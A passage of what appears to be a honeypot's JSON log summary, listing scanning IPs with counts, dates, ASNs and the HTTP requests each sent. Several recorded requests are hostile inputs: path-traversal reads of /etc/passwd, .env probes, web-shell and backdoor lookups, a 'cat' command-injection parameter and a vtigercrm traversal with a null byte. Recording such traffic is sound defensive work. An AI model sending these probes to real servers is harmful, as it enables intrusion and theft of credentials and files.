        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.20.72": {
      "attack_count": 1,
      "first_seen": "2026-03-28T02:53:03.987Z",
      "last_seen": "2026-03-28T02:53:03.987Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.41": {
      "attack_count": 1,
      "first_seen": "2026-03-08T03:02:47.180Z",
      "last_seen": "2026-03-08T03:02:47.180Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "East White Plains",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "87.236.176.125": {
      "attack_count": 1,
      "first_seen": "2026-03-20T16:05:22.528Z",
      "last_seen": "2026-03-20T16:05:22.528Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "87.236.176.177": {
      "attack_count": 1,
      "first_seen": "2026-03-10T16:59:41.179Z",
      "last_seen": "2026-03-10T16:59:41.179Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "87.236.176.253": {
      "attack_count": 1,
      "first_seen": "2026-03-14T12:34:28.632Z",
      "last_seen": "2026-03-14T12:34:28.632Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.196.152.133": {
      "attack_count": 1,
      "first_seen": "2026-03-19T15:44:04.164Z",
      "last_seen": "2026-03-19T15:44:04.164Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.189": {
      "attack_count": 1,
      "first_seen": "2026-03-12T12:57:31.180Z",
      "last_seen": "2026-03-12T12:57:31.180Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.120": {
      "attack_count": 1,
      "first_seen": "2026-03-22T12:42:40.333Z",
      "last_seen": "2026-03-22T12:42:40.333Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.229": {
      "attack_count": 1,
      "first_seen": "2026-03-19T04:15:22.099Z",
      "last_seen": "2026-03-19T04:15:22.099Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "128.14.227.37": {
      "attack_count": 32,
      "first_seen": "2026-03-18T19:30:44.056Z",
      "last_seen": "2026-03-25T18:34:57.489Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "152.32.206.246": {
      "attack_count": 32,
      "first_seen": "2026-03-10T19:04:41.635Z",
      "last_seen": "2026-03-22T18:41:44.255Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "165.154.12.82": {
      "attack_count": 32,
      "first_seen": "2026-03-11T19:05:21.877Z",
      "last_seen": "2026-03-16T18:02:10.992Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "65.49.1.80": {
      "attack_count": 24,
      "first_seen": "2026-03-06T02:45:04.497Z",
      "last_seen": "2026-03-16T02:48:33.822Z",
      "ports": [],
      "event_types": [
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "45.84.107.74": {
      "attack_count": 21,
      "first_seen": "2026-03-08T20:49:52.445Z",
      "last_seen": "2026-03-08T20:58:12.077Z",
      "ports": [],
      "event_types": [
        "\"GET /0x4148.php.call HTTP/1.1\" 404 -",
        "\"GET /Ti-CA.php HTTP/1.1\" 404 -",
        "\"GET /_asterisk/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -",
        "\"GET /_asterisk/index.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/images/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/javascript/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/lib/pqp/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /a2billing/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/bootstrap.inc.php?mgp=danc3Uf%40t HTTP/1.1\" 404 -",
        "\"GET /admin/config.php?config HTTP/1.1\" 404 -",
        "\"GET /admin/modules/admindashboard/phpsysinfo/1.php?czx HTTP/1.1\" 404 -",
        "\"GET /recordings/Dead_Sec_Team/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/config.amportal.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "165.154.129.130": {
      "attack_count": 20,
      "first_seen": "2026-03-09T15:45:10.858Z",
      "last_seen": "2026-03-09T15:46:03.471Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "152.32.228.20": {
      "attack_count": 16,
      "first_seen": "2026-03-23T18:29:47.473Z",
      "last_seen": "2026-03-23T18:30:34.002Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "165.154.138.57": {
      "attack_count": 16,
      "first_seen": "2026-03-08T18:21:57.492Z",
      "last_seen": "2026-03-08T18:22:41.808Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "185.220.100.242": {
      "attack_count": 14,
      "first_seen": "2026-03-08T20:49:30.620Z",
      "last_seen": "2026-03-08T21:02:11.266Z",
      "ports": [],
      "event_types": [
        "\"GET /mobrise/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /modules/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /nwebmail/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/dhtml/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/phpversions.php?module=upload HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/phpversions.php?module=upload&11 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/xXx-ELMAYET-xXx.php?9 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/xXx-mat.php?7 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/z.php?23 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/z.php?pass=angel HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "34.158.79.105": {
      "attack_count": 14,
      "first_seen": "2026-03-04T20:39:18.382Z",
      "last_seen": "2026-03-21T05:52:25.835Z",
      "ports": [],
      "event_types": [
        "\"GET /.env HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Groningen",
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "80.82.77.33": {
      "attack_count": 12,
      "first_seen": "2026-03-28T15:24:37.766Z",
      "last_seen": "2026-03-28T15:25:26.600Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /aaa9 HTTP/1.1\" 404 -",
        "\"GET /aad7 HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc"
    },
    "187.108.1.130": {
      "attack_count": 10,
      "first_seen": "2026-03-09T06:50:28.040Z",
      "last_seen": "2026-03-29T11:52:57.050Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sorocaba",
      "asn": 28267,
      "as_org": "LANTEC COMUNICACAO MULTIMIDIA LTDA"
    },
    "185.220.101.52": {
      "attack_count": 9,
      "first_seen": "2026-03-08T20:58:33.452Z",
      "last_seen": "2026-03-08T21:01:59.926Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/themes/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/views/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /asteriskWS/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /bin/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /k12/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /lang/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /libs/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /mail/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /maint/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "45.141.119.79": {
      "attack_count": 9,
      "first_seen": "2026-03-08T20:49:14.908Z",
      "last_seen": "2026-03-08T21:01:49.515Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /admin/modules/backup/page.backup.php HTTP/1.1\" 404 -",
        "\"GET /help/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /images/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /include/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /js/config.all.php?x HTTP/1.1\" 404 -",
        "\"POST /vtigercrm/phprint.php HTTP/1.1\" 200 -",
        "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../cache/import/IMPORT_%00 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Bern",
      "asn": 211507,
      "as_org": "Julian Achter"
    },
    "89.42.231.182": {
      "attack_count": 9,
      "first_seen": "2026-03-06T19:19:03.106Z",
      "last_seen": "2026-03-11T00:39:53.278Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
        "\"GET /static/link/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd"
    },
    "18.116.101.220": {
      "attack_count": 8,
      "first_seen": "2026-03-02T19:09:10.012Z",
      "last_seen": "2026-03-22T18:04:26.145Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "45.142.154.102": {
      "attack_count": 8,
      "first_seen": "2026-03-17T11:02:55.267Z",
      "last_seen": "2026-03-17T11:03:04.120Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD."
    },
    "107.189.8.181": {
      "attack_count": 6,
      "first_seen": "2026-03-08T20:51:32.735Z",
      "last_seen": "2026-03-08T20:51:40.246Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/sos.php? HTTP/1.1\" 404 -",
        "\"GET /pew.php?qw HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/config.inc.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/load.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/new.php? HTTP/1.1\" 404 -",
        "\"GET /ssh.php?2123 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": "Luxembourg",
      "asn": 53667,
      "as_org": "FranTech Solutions"
    },
    "160.119.76.57": {
      "attack_count": 6,
      "first_seen": "2026-03-29T07:26:13.050Z",
      "last_seen": "2026-03-29T08:30:13.423Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V."
    },
    "204.76.203.73": {
      "attack_count": 6,
      "first_seen": "2026-03-05T16:20:31.875Z",
      "last_seen": "2026-03-19T05:16:06.365Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)"
    },
    "66.132.153.141": {
      "attack_count": 6,
      "first_seen": "2026-03-04T02:40:35.309Z",
      "last_seen": "2026-03-04T02:40:51.505Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.172.133": {
      "attack_count": 6,
      "first_seen": "2026-03-20T08:07:27.389Z",
      "last_seen": "2026-03-20T08:07:44.385Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.172.215": {
      "attack_count": 6,
      "first_seen": "2026-03-23T13:58:37.437Z",
      "last_seen": "2026-03-23T13:58:52.164Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.73": {
      "attack_count": 6,
      "first_seen": "2026-03-28T07:56:22.724Z",
      "last_seen": "2026-03-28T07:59:16.217Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "23.151.8.88": {
      "attack_count": 5,
      "first_seen": "2026-03-08T21:01:20.595Z",
      "last_seen": "2026-03-08T21:01:28.337Z",
      "ports": [],
      "event_types": [
        "\"GET /bin/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /cisco/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /classes/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /components/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11721,
      "as_org": "StylenTech LLC"
    },
    "45.84.107.17": {
      "attack_count": 5,
      "first_seen": "2026-03-08T20:50:52.566Z",
      "last_seen": "2026-03-08T20:50:59.482Z",
      "ports": [],
      "event_types": [
        "\"GET /?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /admin/config.php?pal=cat+config.php& HTTP/1.1\" 404 -",
        "\"GET /admin/modules/cxpanel/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /admin/modules/ucp/htdocs/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/?pal=cat+index.php& HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "77.83.240.70": {
      "attack_count": 5,
      "first_seen": "2026-03-09T07:43:29.746Z",
      "last_seen": "2026-03-09T07:48:01.855Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET //admin/config.php HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V."
    },
    "123.58.213.117": {
      "attack_count": 4,
      "first_seen": "2026-03-11T10:04:08.704Z",
      "last_seen": "2026-03-11T10:04:13.611Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"t3 12.1.2\" 400 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "165.154.206.71": {
      "attack_count": 4,
      "first_seen": "2026-03-11T12:23:28.751Z",
      "last_seen": "2026-03-11T12:23:30.081Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd"
    },
    "205.210.31.68": {
      "attack_count": 4,
      "first_seen": "2026-03-07T01:54:48.985Z",
      "last_seen": "2026-03-12T00:20:16.740Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "184.105.139.115": {
      "attack_count": 3,
      "first_seen": "2026-03-04T09:48:52.117Z",
      "last_seen": "2026-03-27T05:13:58.962Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "192.253.248.154": {
      "attack_count": 3,
      "first_seen": "2026-03-24T19:32:39.861Z",
      "last_seen": "2026-03-25T20:31:17.104Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /RDWeb/ HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD"
    },
    "194.187.178.39": {
      "attack_count": 3,
      "first_seen": "2026-03-06T03:45:49.619Z",
      "last_seen": "2026-03-06T03:45:52.844Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH"
    },
    "44.201.216.24": {
      "attack_count": 3,
      "first_seen": "2026-03-03T00:49:26.208Z",
      "last_seen": "2026-03-08T00:53:42.302Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.220.185.119": {
      "attack_count": 3,
      "first_seen": "2026-03-24T11:31:18.020Z",
      "last_seen": "2026-03-24T11:31:24.615Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.74": {
      "attack_count": 3,
      "first_seen": "2026-03-03T05:15:33.981Z",
      "last_seen": "2026-03-03T05:15:42.056Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "71.6.134.233": {
      "attack_count": 3,
      "first_seen": "2026-03-04T16:05:09.917Z",
      "last_seen": "2026-03-04T16:06:44.716Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc."
    },
    "88.210.63.77": {
      "attack_count": 3,
